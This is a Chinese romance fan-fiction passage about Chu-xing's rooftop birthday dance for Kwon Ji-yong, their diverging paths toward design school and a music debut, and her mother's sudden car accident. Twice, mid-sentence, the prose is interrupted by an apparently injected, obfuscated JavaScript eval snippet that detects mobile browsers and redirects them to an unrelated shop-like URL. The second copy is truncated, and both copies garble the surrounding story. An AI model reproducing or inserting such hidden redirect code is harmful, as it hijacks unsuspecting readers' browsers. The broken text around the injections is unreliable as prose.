初星看了一眼,摇了摇头:“他好像已经有一顶类似的了,而且颜色比这个更特别些……唉,珍雅啊,我真的不知道买什么好了。” 她挽住好友的胳膊,脸上写满了甜蜜的烦恼:“衣服、配饰、潮玩……这些东西他当然喜欢,也总在关注,可能不能送到他心坎上呢?他眼光那么独特,又那么挑剔。” “最重要的是,”初星的声音低了一些,带着点难得的忐忑和郑重,“这是我们在一起之后,给他过的第一个生日啊。总觉得……应该送点特别有意义的,能让他记住的,而不只是一件好看的东西。” 珍雅看着她这副样子,忍不住笑了:“哎一股,看把我们初星给难的。平时吓唬他的那股机灵劲儿哪去啦?”她调侃了一句,随后才正经建议道:“想想他最近有没有特别痴迷什么?或者抱怨缺了什么?比如,他是不是总说某个牌子的练习鞋特别舒服但穿坏了?或者念叨了很久某位欧美歌星的进口版CD?再不然,他写歌的时候有没有说过想要个更好的录音笔捕捉灵感?” 初星听着,目光漫无目的地扫过橱窗里琳琅满目的商品,眉头轻蹙着。霎那间,一些画面撞入脑海…… “啊……” 她轻轻吸了一口气,脸颊有些发烫。 “怎么了?想到什么了?脸都红了!”珍雅好奇地凑近。 初星的心跳有些快,她下意识地抿了抿唇,却无法压下嘴角那抹既害羞又了然的笑容。 她抬起头,眼神闪烁,拉住了珍雅的手:“珍雅,不用逛了。我知道……我想到要给他什么了。” “是什么?快说啊!急死我了!”珍雅被她这突如其来的脸红和醒悟弄得心急如焚。 初星凑近好友耳边,用极低的声音飞快地说了几个字。珍雅的眼睛瞬间瞪大,捂住嘴才没叫出声来:“哇!至龙欧巴他……他真的这么说了?天啊!那你……” 初星的脸更红了,赶紧拉住激动的好友,点了点头,“嗯。所以……这些都不用了。”她看了一眼周围的店铺,“这件‘礼物’……需要我好好准备才行。” 她拉着还在震惊中回味的好友,转身离开了琳琅满目的商店街,步伐带着点匆忙和羞涩,却又目标明确。 …… 生日这天,对权至龙而言,和往常并没有什么不同。清晨的阳光透过宿舍窗帘的缝隙,刺眼地照在他脸上,将他从并不算深的睡眠中唤醒。 没有想象中的特别,只有更加密集和高强度的练习日程。公司似乎有意要用繁重的训练填满这个日子,仿佛在提醒他,通往梦想的道路上没有松懈可言。练习室里,汗水很快浸湿了训练服,肌肉的酸痛感熟悉而沉重。永裴和胜铉哥在休息间隙凑过来,笑嘻嘻地拍了拍他的肩膀,塞给他一瓶冰镇的运动饮料,算是简单的生日祝福,老师也难得地没有过分苛责。 然而,至龙的心却始终悬着,像被一根细线牵着,无法完全沉浸在练习中。他的目光一次又一次地飘向放在角落背包里的手机。它在练习的间隙安静地躺着,屏幕偶尔会因为家人或几个熟识朋友的祝福短信而亮起,发出短暂的震动。每一次震动,都让他迫不及待地冲过去查看,但每一次,都不是那个他最期待的名字。 他一一回复道谢,但心里的空落感却越来越明显。初星……她是不是忘了?还是因为昨天自己练习到太晚,回她信息时语气有些疲惫,让她生气了?又或者,她根本就没把今天当成一个特别的日子?各种胡思乱想像杂草一样在他脑海里疯长,让他的动作偶尔会慢上半拍,眼神也有些飘忽,甚至被老师点名提醒了两次“专注点,至龙!”。永裴和胜铉交换了一个了然的眼神,带着点同情和调侃,却也没多说什么。 时间在焦灼的等待中缓慢流逝,从上午到下午,阳光从炽烈变得温和。至龙的心情也从最初的隐隐期待,逐渐滑向失望和一丝不易察觉的委屈。他开始给初星找理由:她可能也在忙吧?高三的假期作业也不少……或者,她只是想等到晚上再给我惊喜?对,一定是这样。他强迫自己集中精神,但那份期待落空的怅然若失,像背景音一样持续不断地低鸣着。 直到下午六点多,练习休息的时刻,至龙几乎已经认命,准备接受这个“平淡无奇”的生日时,他放在音响旁边的手机屏幕,终于亮起了那个他心心念念的名字——my babe?? 他瞬间扑过去,点开信息: 「至龙,生日快乐。晚上八点半,到我们上次发现的旧楼天台来。记得一个人来!」 寥寥数语,像一道强光,驱散了他积压了一整天的阴霾和胡思乱想!原来她没忘!她记得!刚才的失落和委屈立刻被抛到九霄云外。他脸上控制不住地绽放出灿烂的笑容,连回复信息的手指都带着雀跃的颤抖: 「好!我一定准时到!(^▽^)」后面跟了一连串的爱心、星星和欢呼的表情符号。 他蹦跳着回到练习的队伍中,接下来的动作充满了爆发力和精准度,仿佛有使不完的劲儿。永裴凑过来,用肩膀撞了他一下坏笑:“哟,收到‘特殊指令’了?看你这魂不守舍一整天,现在跟打了鸡血似的。”胜铉也在一旁露出调侃的笑意。至龙不好意思地挠挠头,但嘴角的笑意却怎么也藏不住。 好不容易熬到练习结束,他第一个冲回宿舍,冲了个战斗澡。换好衣服,他对着镜子照了又照,拨弄着头发,确保每一根发丝都待在最佳位置,心里充满了各种猜测和甜蜜的期待…… 八点刚过,至龙就迫不及待地出发了。夏夜的晚风温热,拂过他因为紧张和期待而有些发烫的脸颊。沿着那条熟悉又僻静的小巷,推开那栋不起眼的旧楼单元门,沿着昏暗的、堆着些许杂物的楼梯一步步向上。越接近顶层天台,他的心跳得越快,“咚咚”声在寂静的楼梯间里异常清晰。 终于,他站在了天台门前。深吸一口气,平复了一下过于急促的呼吸,然后,用力推开了那扇门。 吱呀—— 铁门发出刺耳却熟悉的摩擦声,缓缓开启。 门打开的瞬间,视野豁然开朗。首尔夜晚的流光溢彩如同一幅巨大的、铺天盖地的画卷,毫无保留地展现在他眼前。汉江对岸的霓虹、蜿蜒的车河、高耸建筑的轮廓灯……交织成一片璀璨的星海。晚风变得强劲而凉爽,迎面扑来,吹散了他一路走来的微热和黏腻感。 然而,比这熟悉而壮丽的夜景更攫取他全部目光的,是那个伫立在天台中央的身影,以及她身前不远处,稳稳架在三脚架上的小型摄像机。 初星背对着他,一身素白,仿佛是从月宫中偷溜下来的仙子。那件样式简约的白色半透明薄纱罩衫,如同披肩般完全敞开着,没有扣子,仅凭她纤细的肩膀和手臂微微向内拢住的姿态维持着不至滑落。里面清晰地勾勒出里面那件贴身的纯白色细吊带背心和她优美而单薄的背部线条。下身那条轻盈飘逸揉杂着淡粉与白色渐变色调的及踝大摆纱裙,被风鼓动得如同拥有了生命,裙摆层层叠叠地翻滚、飞扬,在夜色中划出巨大而优美的弧线,几乎要将她轻盈的身躯托起。她正微微俯身,专注地调整着相机的高度和角度,整个人在风中显得既脆弱易碎,又仙气盎然。 听到身后铁门被推开的吱呀声,她倏地转过身来。 看到至龙如期而至,站在门口,她脸上闪过一丝紧张和羞涩,白皙的脸颊在夜色和城市背景光的映衬下泛起淡淡的红晕,她没有像往常一样雀跃地跑过来,只是下意识地用一只手微微拢了一下被风吹得有些凌乱的胸前纱衣衣襟,站在原地,那双清澈明亮的眼睛,带着某种郑重的期待,望着他。 “至龙,你来啦。”她的声音比平时更轻软一些,融在呼啸的风声里,却清晰地传到他耳中。她指了指那台亮着红灯的相机,小声解释,“等一下哦,我在录……” 至龙愣在了原地,呼吸微微一滞,仿佛被眼前的景象施了定身咒。随后立刻放轻了脚步,无声地、一步步走到相机拍摄范围之外的一侧,背靠着冰凉的墙壁站着,目光紧紧锁在她身上,眼中充满了难以置信的惊艳和一种近乎虔诚的专注。 初星对他露出了一个安抚又带着鼓励的笑容,然后,她转身,面向镜头,也面向这片为她作衬的、浩瀚的城市夜景,按下了放在旁边小音响上的播放键。 一首悠扬而富有独特韵味的纯音乐流淌出来,笛声清越空灵,琵琶琮琤婉转,旋律舒缓中带着东方的含蓄婉约和一丝淡淡的、诗意的怅惘。 音乐声中,初星翩然起舞。她的动作经过了精心设计和排练,每一个舒缓的伸展、优雅的旋转、柔韧的下腰,都完美地运用了风的力量和衣袂飘飘的特性。那敞开的纱衣和巨大的裙摆仿佛成了她身体的一部分,随着她的舞动,在空中画出巨大而流畅的弧线,时而如流云卷舒,时而如惊鸿展翅,时而又如白莲绽放。风缠绕着她的衣袖、裙摆和微微飞扬的发丝,音乐引导着她的情绪和肢体流淌。她的舞姿并不激烈,充满了行云流水般的韵律感和一种不食人间烟火的仙气。眼神时而凝望远方夜景,带着一丝超然物外的疏离;时而低眉浅笑,流露出少女的娇羞与期待;时而又将目光投向镜头——或者说,是投向镜头后、角落里的他,带着全然的信任和倾诉。 至龙屏住呼吸,完全痴了地看着,这极致的、只为他一人生辉的美。这个认知,让他的心脏被近乎酸楚的幸福填满。 一曲终了,最后一个空灵的音符消散在风里,初星的最后一个动作也缓缓定格,她几乎是第一时间转过身来,望向站在角落里的至龙。她的脸颊因为运动和激动而绯红,眼神里带着完成表演后的些许脱力,但更多的是一种急切的、渴望得到认可和反馈的期待。 至龙看着初星再也按捺不住胸腔里澎湃的情感,瞬间就冲破了那无形的“拍摄区”界限,大步流星地、几乎是带着点踉跄地走向她。 他一把将她拥入怀中。手臂小心地避开那件飘逸易皱的纱衣,只紧紧环住她纤细的、因为刚刚一番专注舞动而微微发热、甚至能感受到肌肉轻微颤动的腰身。 初星身上特有的荼蘼花香瞬间包裹了他,因为方才一番全神贯注的舞动而微微蒸腾,比平时浓烈了许多,混合着夏夜风的微凉、纱裙淡淡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680929|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皂角清香和一点点属于运动的汗意,直直地、霸道地钻入他的鼻腔,深深地烙印在他的嗅觉记忆和脑海里。 “至龙,生日快乐。”她在他怀里轻声说。 至龙收紧了手臂,将她更深地按进自己怀里,低下头把脸埋进她颈侧散发着那股浓烈馨香的细腻肌肤间,声音因为激动和某种难以言喻的、近乎哽咽的悸动而变得低哑沉重: “……笨蛋。哪有人送生日礼物……是送一支舞的……”他的声音闷闷的,带着浓重的鼻音。 “……不喜欢吗?”初星在他怀里小声问,感受着他异常用力的、让她有些窒息的拥抱,心里却甜甜的。 “喜欢……”他立刻回答,抱得更紧,“这味道……还有这个……是我长这么大……收到过的……最好的生日礼物。” “你喜欢就好。”初星在至龙怀里满足地叹了口气,脸颊贴着他因为激动而快速起伏的温暖胸膛,听着他有力的心跳声,觉得一切都值得了。随后她轻轻抬起头,眼神里闪烁着新的期待和一丝俏皮的光:“至龙,我们好像……还从来没有一起跳过舞呢。” 至龙的心因为她这句话又被轻轻撞了一下,泛起层层柔软的涟漪。他看着怀里的人,眼中柔情满溢,几乎要溢出来:“现在想跳吗?就在这里。” “嗯!”初星用力点头,看向那依旧亮着红灯工作的相机,狡黠地笑了笑,像只偷到了灯油的小老鼠,“让它也记录下来,好不好?我们的第一支舞。” 至龙心底软成一片。还有什么能比这更好呢?他牵起她微微汗湿的手,向后退开一步,微微鞠躬,行了一个略显生涩的邀舞礼,目光灼灼地望着她:“那么,这位刚刚奉献了绝美舞蹈的、美丽的小姐,能有这个荣幸,与你在这星空下共舞一曲吗?” 初星嫣然一笑,将手放入他温暖干燥的掌心,“给你这个荣幸吧!” 至龙轻轻哼起一段舒缓而带着华尔兹节奏旋律的老歌。他一手与她十指紧密相扣,另一只手扶住她纱衣下微微汗湿的、线条优美的后背。 他们就在这空旷无人的天台,以璀璨的城市夜景为宏大幕布,在依旧静静运转的相机镜头前,缓缓起舞。初星的纱裙和纱衣随着舞步和旋转再次飘飞起来,与至龙的动作交织在一起,白色的裙摆拂过他的裤脚。没有观众的欢呼,没有华丽的伴奏,只有彼此近在咫尺的呼吸声、交织的眼神中浓得化不开的情意,以及逐渐同步的、怦怦作响的心跳声。 然而在这时,几滴冰凉的、硕大的液体毫无征兆地落在至龙的鼻尖和额头上,打断了他哼唱的旋律。他抬头望去,夜空不知何时聚拢了乌云。紧接着,更多的雨点开始稀疏而有力地砸落下来,打在干燥的天台地面上,发出“啪嗒啪嗒”的声响,很快就连成了细密的、凉意十足的雨丝。 雨点打湿了至龙的头发,顺着他的脸颊滑落。也打湿了初星飞扬的纱裙和发丝,晶莹的水珠缀在她的睫毛上,像是细碎的钻石。衣服渐渐被雨水浸湿,变得有些透明,贴合在身上,带来微凉的触感。 至龙和初星两人在最初的愣神后,相视一笑,无声的默契和浪漫在冰凉的雨丝中迅速流淌开来。至龙握紧了她的手,扶稳她的腰,非但没有停下,反而带着她,继续着他们的舞步,甚至故意旋转了一圈,让裙摆在水洼中划出更大的圆弧。初星忍不住笑出声来,笑声混合着淅淅沥沥的雨声,变得格外动人,敲打在至龙的心上。 至龙重新哼唱起那首旋律,在雨声中显得有些模糊,却又清晰而执着地在他们之间流淌。他紧紧地揽着她,她信任地依偎着他。 直到那即兴的旋律哼唱到悠长而温柔的尾音,至龙带着初星完成最后一个在雨中显得有些梦幻的旋转,然后将她稳稳地拉回怀中。两人都微微喘息着,浑身湿透,像两只落汤鸡,头发狼狈地黏在额角和脸颊,雨水顺着下巴滴落。 至龙深深地望进初星被雨水洗得越发纯净的眼睛,他的喉结滚动了一下,眼神深邃得像不见底的潭水,充满了灼热的渴望。但他只是克制地微低下头,额头抵上她同样冰凉湿润的额头,呼吸交织在带着雨水清香的空气里,等待着。或许是想给她最后的空间,或许是想让这个极致浪漫的瞬间在心间停留得更久一些。 初星看着他近在咫尺的、带着晶莹水珠的睫毛,看着他克制而深情的眼神,心脏像是被幸福和勇气充满了,鼓胀着,催促着。她没有任何犹豫,踮起脚尖,主动仰起脸,将自己微凉而柔软的、带着雨水清新气息的唇,坚定地印上了他温热的、同样带着雨水的嘴唇。 这个吻,来得突然却无比自然,带着雨水的清凉和她毫无保留的、炽热的真诚,生涩却无比坚定。 至龙的身体僵硬了一瞬,瞳孔微微放大,随即反应了过来。他闭上眼睛,所有的克制、所有的等待在这一刻土崩瓦解,被汹涌的情感彻底淹没。他环住她腰肢的手臂猛地收紧,将她彻底箍进自己湿透的、却异常温暖的怀里,用力地回应这个吻。 雨水顺着他们的发梢、脸颊流淌,渗入紧贴的唇瓣,带着微咸的味道,却比任何香槟都更让人沉醉。在这个废弃天台的雨中,在他们第一支舞的旋律余音里,权至龙收到了他人生中最珍贵的一份生日礼物。 而那台架在三脚架上的DV相机,顶端的红色指示灯依旧顽强地亮着,默默地记录着这一切…… 40.两条不同的道路 自那场生日雨夜的浪漫与炽热之后,权至龙整个人仿佛被浸泡在了一罐温热的蜜糖里,又像是胸腔里被悄悄点燃了一簇永不熄灭的小火苗。他看向初星的眼神,褪去了少年人时而闪躲的羞涩,变得像夏日阳光下的溪水,清澈见底,流淌着毫不掩饰的滚烫爱意和贪婪的、软乎乎的渴望。他像只终于被主人给予了无限纵容和宠爱的、体型过大的家养犬,时刻都想凑过去,用鼻尖蹭蹭她的手背,把毛茸茸的脑袋搁在她膝盖上,或者干脆整个贴上去,感受那份实实在在的温暖和存在感。 然而,盛夏的燥热与恣意被初秋微凉的空气一寸寸取代。与此同时,一种无形的、却足以改变许多人命运轨迹的氛围,也开始在空气中弥漫、凝结——新学期的开始,以及缓缓迫近、带着沉重压力的高考。 初星立刻就切换了状态。她桌上书堆得越来越高,和至龙约会时,也常常是快速解决掉他带来的零食,眼睛还死死盯着摊开的习题册,嘴里可能还叼着笔帽含糊地让他“闭嘴,别吵”。 至龙那满腔亟待释放的爱意和亲近渴望,就这样一次次撞上了初星骤然筑起的、名为“学业”的铜墙铁壁。他那些试探性的、想要亲近的小动作——比如悄悄伸过去想握住她放在桌下的手,或者从后面轻轻环住她专注看书的肩膀——常常被她头也不抬地一巴掌拍开,或者换来一个从习题册上方射来的、带着“你再敢打扰我试试看”的凶狠眼神,让他偃旗息鼓,讪讪地缩回手。 微妙的、被“冷落”的委屈感渗入至龙的心间。 难得的、没有加练的周末午后,阳光透过窗户,在初星堆满书籍的书桌上投下斑驳的光影。她正与一道复杂的物理题进行着艰苦卓绝的“搏斗”,指尖无意识地转动着笔,嘴唇紧抿。至龙百无聊赖地在她房间里晃悠了半天,还是忍不住,从后面悄悄靠近,试图抱住全神贯注的初星。他的下巴小心翼翼地蹭到她因为低头而微微凸起的肩胛骨上,黏糊糊的,带着十足的撒娇意味:“初星啊……你都好久没好好理我了……我们休息一下好不好?就五分钟……十分钟也行……陪我聊聊天嘛……” 初星正被那道题目卡得心烦意乱,感受到身后突如其来的“负重”和温热气息,反手就用握在手里的笔往后一戳,笔头精准地抵在至龙凑过来的脸颊上。 “呀!权至龙!”她的声音带着被打断思路的暴躁,目光依旧死死锁在草稿纸上那些扭曲的符号上,“看不见我在跟它拼命吗?离我远点!烦死了!还有,保持安静!呼吸声都嫌吵!” 至龙被铅笔头怼得“嘶”了一声,脸颊上留下一个小小的红印。他瘪瘪嘴,像只被主人无情呵斥的小狗狗,委屈极了,眼眶都有些泛红,却不敢再有任何造次,只好悻悻地松开手,脚步拖沓地、重重地瘫倒在旁边的床上,四肢摊开,摆出一个极其夸张的“被遗弃”姿势。然后,就用那种湿漉漉的、充满了哀怨和控诉的眼神,一眨不眨地朝着初星的背影发射着强烈的“怨念光波”,仿佛在说:“我这么可怜,你都不心疼吗?” 房间里陷入一种紧绷的沉默,只有初星笔尖划过纸张的沙沙声,以及至龙刻意加重的叹息声。 沉默持续了好一会儿。至龙看着初星烦躁地用手指狠狠揉着太阳穴,又把一头柔顺的长发抓得乱糟糟的侧影,一个至关重要的问题浮上脑海,冲散了他那点幼稚的委屈。他犹豫了一下,手指无意识地揪着床单,轻声问了出来,“初星啊……你……你打算考哪个大学?还有……什么专业?”他暗自猜测着,脑海里浮现的是她跳舞时灵动的身影,弹琴时专注的侧脸,大概是和艺术相关的吧,中央大学?或者其他大学的艺术系?也许是舞蹈专业?古典音乐专业? 初星揉脑袋的动作顿住了。笔尖在草稿纸上划出一道无意义的长线。 她终于从那片令人头疼的题海里拔出了思绪,转过身来。眉头还因为刚才的难题而习惯性地紧紧蹙着,眼神里带着被打断的不爽和理所当然的笃定。阳光照在她微微泛着油光的鼻尖和因为专注而显得格外明亮的眼睛上。 “弘益大学啊,”她不假思索的回答,带着目标明确、路径清晰的决断感,“室内与空间设计专业。不然呢?” “室……室内与空间设计?弘大……那个……以美术和设计闻名的弘大?”至龙愣住了,眼睛微微睁大,他重复了一遍这个专业名称,大脑像是宕机,有点处理不过来这个完全偏离他预设轨道的信息。“设计……空间?是……是画房子内部的那种?”他试图理解,眉头不自觉地拧紧了,“为什么……怎么会想去学那个?”他脱口而出,声音里带着掩饰不住的困惑和连自己都没察觉到的、因为“她的未来似乎与自己想象的不同”而产生的无措和隐隐不安。他甚至连未来如果能同台表演要选什么歌都偷偷幻想过好几个版本了。 初星狐疑地眯着眼,打量着至龙脸上那毫不掩饰的神情。她觉得他的反应有点好笑,又有点莫名其妙,似乎她选了一条多么不可思议的道路。她放下笔,抱起手臂,抬了抬下巴,“怎么了?不行吗?我就不能喜欢研究空间怎么布局、光线怎么运用、材料怎么搭配,想想怎么让一个地方既实用又好看,让人待着舒服?”她顿了顿,带着点小骄傲,“我觉得摆弄空间,让它按照我的想法变得完美,比在舞台上跟着音乐跳规定动作酷多了。” “不是……我不是那个意思!”至龙连忙摆手解释,却有点语无伦次,“就是……太意外了……我以为你会……嗯……继续往表演艺术方向发展……你跳舞跳得那么好,钢琴也……”他的声音越说越小,因为初星看他的眼神越来越像在看一个思维固化的、不可理喻的笨蛋。 初星哼了一声,带着点理所当然的嚣张:“跳舞是爱好,是心情好时跳着玩的,比如……给你当生日礼物。”她眼神瞟了他一眼,“谁要把它当专业天天练得累死累活、浑身是伤?而且,”她的目光重新变得锐利而充满热情,“设计和摆布空间,创造一种氛围,让走进去的人感受到我想要表达的东西,你不觉得这更有挑战性,更酷吗?” 至龙努力压下心头那点复杂的微妙情绪,深吸了一口气。脑海中某个想法浮现,他猛地从床上弹起来,凑近初星,双手抓住她的肩膀:“ “哇!室内与空间设计!我们初星太帅了!太有想法了!”他兴奋地几乎要手舞足蹈,“那以后……等我们有了自己的家,”他的声音不自觉地放得极柔,带着无限的憧憬和甜蜜,“就把一切都交给初星设计师来设计!从墙纸的颜色到沙发的摆放,从厨房的灯光到阳台的花草,全都你说了算!我绝对没有一点意见,举双手双脚赞成!全都听你的!” 初星被至龙这突如其来的支持弄得愣了一下,看着他脸上那毫不作伪的兴奋和憧憬,尤其是那句无比自然的“我们自己的家”,让她的心跳莫名漏了一拍。她强装镇定,拿起那支笔,轻轻戳了戳他的额头,“想得美!权至龙先生,请我设计可是很贵的,按平米算钱,你先准备好设计费再说吧!” 至龙嘿嘿傻笑着,抓住她拿着笔的手,顺势飞快地在她光洁的额头上亲了一下,发出清脆的“啵”一声:“内~内~未来著名的设计师大人!我会努力练习,努力出道,努力赚钱的!所以,尊敬的设计师大人,您现在能专心拯救您宝贵的习题了吗?我们未来的爱巢可就指望它了!” 随后他乖乖地松开她,重新瘫回床上,双手枕在脑后,嘴角噙着傻笑,心满意足地注视着重新投入与功课战斗的初星。 初星在草稿纸上随意地划拉了几下,演算着刚才卡壳的公式,头也没抬,用笔尾轻轻敲了敲桌面,问道:“那你呢?” “嗯?”至龙还咧着嘴,思绪飘在由初星设计的、有着超大落地窗和柔软地毯的未来客厅里,没反应过来,“我什么?” 初星看向他,“你打算考哪所?首尔艺术大学?檀国大学?或者庆熙大学?” 至龙脸上的笑容淡了下去,嘴角有些僵硬地抿了抿。他有些不自然地摸了摸后颈,眼神飘忽了一下,看向窗外渐渐染上暮色的天空,才重新转回头看向初星,声音变得有些含糊、不确定,带着点刻意的轻描淡写:“那个啊……我……可能没那么快。” 初星的眉头蹙了起来,笔尖在纸上点了一下:“为什么?你成绩不是还行吗?虽然比不上顶尖的,但艺术类院校的文化课要求……” “不是成绩的问题。”至龙打断她,语调低沉了一些,带着一种与年龄不符的沉稳和冷静。“公司……已经有明确的计划了。最晚明年……”他顿了顿,声音里带着对梦想触手可及的兴奋,“我们……很可能要正式出道了。” “如果出道了,”至龙继续说着,语速不快,仿佛在梳理一条清晰却陡峭的路径,“接下来肯定会是难以想象的忙碌,没日没夜的练习、录音、拍摄、宣传、演出……估计连喘口气、好好睡一觉的时间都是奢侈,”他扯出一个有点勉强的笑容,“就算……就算考上了哪所不错的大学,也根本不可能有时间、有精力去上课。到时候挂科、缺勤,最后被退学,反而更难看,也给公司添麻烦……所以,” 他耸了耸肩,试图让气氛轻松一点,但那微微下垂的眼角却泄露了一丝情绪:“所以可能得等一两年,等稳定一点之后,再看看有没有机会,有没有那种……嗯……适合艺人身份的学校去念一念吧。现在……只能,也必须,先集中所有精力在出道这件事上。没有退路。” 他说完了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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至龙看着她专注的背影,心里那片短暂的迷茫和阴霾散去。是的,他们正在走向不同的跑道,他奔向闪光灯和舞台,她奔向图纸和空间。但那又怎样?他们都在向着各自的光奔跑,并且心照不宣地约好了,要在彼此都光芒万丈的未来,再次交汇,共同构筑那个属于他们的家。 从那之后至龙以自己的方式,为初星构筑了一个温暖而细致的“后勤基地”。 天气渐冷,但每天清晨总会有一瓶不同口味的热牛奶被塞进初星手里。有时是香草味,有时是巧克力味,有时是草莓味,瓶身总是被细心擦拭过,握在手里温度烫得刚好,既能暖手,喝下去又能驱散一身的寒气。至龙什么也不多说,只是塞给她,然后用指尖轻轻碰碰她冻得有些发红的耳朵,或者把她的手拉过来,包在自己虽然也不算特别暖和但总比她的手热乎的掌心里,捂一会儿,再松开。 偶尔,他们的练习结束得早,能挤出几个小时的休息时间。其他练习生累得直接回宿舍倒头就睡。但至龙的第一反应往往是翻出他那本皱巴巴的、记满了各种电话号码和地址的小笔记本,或者努力回想之前听谁提起过哪家店的蓝莓蛋糕好吃。他发现最近初星像是上了瘾一样,格外偏爱一切蓝莓口味的东西。 然后,他就凭着之前打听好的地址,匆匆赶去那家店,往往需要转乘地铁或公交,到了地方还可能发现需要排上不短的队。买到之后,又护着蛋糕盒子,匆匆赶到初星常去的自习室或者图书馆楼下等初星下来。 有时候连多待几分钟说说话的时间都没有,他看着她接过盒子,抬手帮她理一下被风吹乱的围巾,叮嘱一句“晚上别熬太晚”,就又要匆匆转身离开,赶回公司进行晚上的加练。 初星往往只来得及对着他快步离开的背影喊一声“呀!路上小心!”,随后低头看着手里精致的蛋糕盒子,心里明白他所谓的“刚好路过”包含了多少绕远、打听、排队,滋味复杂得像那酸甜的蓝莓酱。 偶尔两人能凑出时间一起吃顿简单的饭,也常常是速战速决。初星总是吃得心不在焉,机械地往嘴里送食物,眼睛还盯着摊在旁边的笔记,嘴里无声地默背着什么知识点。 至龙就安静地坐在她对面,他会把她碗里散乱的米饭稍稍压实,把有些烫的汤吹得温一些再推到她的手边。又把自己碗里她爱吃的肉和菜默默夹到她碗里。同时,他的眼神像扫描仪一样关注着她碗里的内容。把那些她讨厌的食物一一夹到自己碗里,尽管有些他也不爱吃,却能面不改色地吃下去。 整个过程他做得行云流水,安静而高效,不会打断她沉浸在知识海洋中的思绪。只有当初星因为某个知识点始终记不住而烦躁地放下筷子,或者背到卡壳处无意识地用牙齿啃咬一次性筷子的尖端时,他才会轻轻敲敲桌子,把她的注意力拉回来一点点,低声说:“先好好吃饭。吃完再背,效率更高。” 至龙用他有些笨拙真诚、细致入微的方式在这些看似微不足道、却无处不在的瞬间里,支持着在题海中奋力搏杀的初星,为她撑起了一小片坚实而温暖的天地。 41.意外 十一月的首尔,寒意已深入骨髓。距离那场被无数学子视为命运转折点的高考,仅剩最后半个月。图书馆、自习室,家中狭小的书桌前,都充斥着翻动书页的沙沙声、笔尖划过纸张的急促声响,以及无声的、压抑到极致的喘息。每一口呼吸,都仿佛带着油墨和纸张沉重而苦涩的味道。 傍晚时分,天色早早地沉了下来,初星独自一人坐在图书馆靠窗的角落,面前的习题册和密密麻麻的笔记几乎将她淹没。台灯的光晕在她略显苍白的脸上投下专注的阴影,偶尔因为长时间保持一个姿势而感到脖颈酸痛时,才会抬起头,揉一揉发胀的太阳穴,望向窗外逐渐亮起的城市灯火。 在她埋首于复杂的解析几何题时,放在桌角的手机,不合时宜地嗡嗡作响起来,打破了这片死寂的宁静。 初星蹙紧眉头,带着被打断思路的不悦,极快地瞥了一眼屏幕——是一个陌生的本地号码。她本不想理会,但手机持续不断的震动带着一种不祥的执着:“喂?哪位?” 电话那头传来的是带着公式化语调的女声:“您好,请问是裴初星女士吗?这里是XX大学医院急诊部。您的母亲,江曦女士,于大约半小时前遭遇了一起严重的交通事故,目前正在我院进行紧急手术。情况比较危急,请您尽快赶来医院……” “啪嗒——” 手机从初星手指中滑落,重重地砸在摊开的习题册上,发出一声沉闷的钝响。她的世界,在那句“紧急手术”、“情况危急”之后,骤然塌陷!耳边响起尖锐的、持续不断的耳鸣,盖过了图书馆里所有的声音,眼前的一切景象都开始扭曲、模糊。 她猛地从椅子上弹起来,动作大得发出刺耳的刮擦声,引来了周围几个同学不满和诧异的目光。她踉跄着、手脚发软地抓起书包和掉落的手机,跌跌撞撞地冲出了图书馆,一头扎进室外凛冽刺骨的寒风中。 冷风像无数把冰冷的刀子,狠狠地刮在她裸露的皮肤上,但她却感觉不到丝毫的寒冷,脑子里乱成一锅粥,无数可怕的念头疯狂闪现,但只有一个念头无比清晰——去医院!立刻!马上!去医院! 她站在路边,寒风呼啸,行人稀少。她徒劳地向着出租车挥手,身体因为极度的恐惧和寒冷而筛糠般抖动着。巨大的无助感和灭顶的绝望瞬间将她吞没,让她几乎要瘫软在地。 在这个孤立无援的时刻,她第一个想到的,是远在海外的父亲。手指僵硬得不听使唤,几乎是盲目地在手机通讯录里找到那个备注为“爸爸”的号码,用尽全身力气按下了拨打键。 听着电话里带着细微延迟的“嘟……嘟……”声,每一声都像重锤般敲打在她紧绷到极致的神经上,让她感到窒息。 终于,电话被接起,父亲熟悉但略带困倦的声音从千万里之外传来:“喂?娜比啊?怎么这个时间打来?是不是复习太累了?要注意休息啊……” “阿爸!!!” 初星听到父亲声音的那一刻,泪水汹涌而出,她对着话筒泣不成声,“呜……哦妈……哦妈她……出车祸了……在医院……手术……医生说情况危急……怎么办阿爸……我好害怕……呜……我该怎么办……” 电话那头的父亲也被这如同晴天霹雳般的噩耗震惊了,陷入了极短的沉默。随即,传来椅子被仓促推开的刺耳声响。声音变得极其紧绷,充满了难以置信的惊惶,但他努力强迫自己维持着最起码的镇定,“娜比!听阿爸说!冷静点!深呼吸!告诉阿爸,是哪个医院?哪个医院?!我处理好事情立马订最早的航班回来!你现在在哪里?身边有没有人?安不安全?” 父亲的急切询问暂时拉回了初星一些濒临涣散的神智。她抽噎着,努力在一片空白的脑海中搜寻刚才那个冰冷声音提到的医院名字,断断续续地重复给父亲听。 “好!好!我知道了!XX大学医院是吧?娜比,你现在马上打车去医院!不要慌,注意安全!阿爸会以最快的速度赶到!你听着,别怕,哦妈一定会没事的!她那么坚强!你先去,我马上联系你姑母,让她过去帮你!听话,先去医院!保持电话畅通!” 父亲的声音急切而充满力量,穿透恐慌,给她筑起一道脆弱的防线。 挂了电话,初星的心跳依然快得像要挣脱胸腔的束缚。她拦下了一辆出租车,拉开车门时,手还在剧烈地颤抖,几乎握不住门把手。 出租车朝着医院方向疾驰而去,窗外的街景飞速倒退,模糊成一片冰冷的光斑,她的手机又响了起来。屏幕上,清晰地跳动着至龙两个字。 她像是溺水之人抓住了最后一根浮木,按下了接听键。 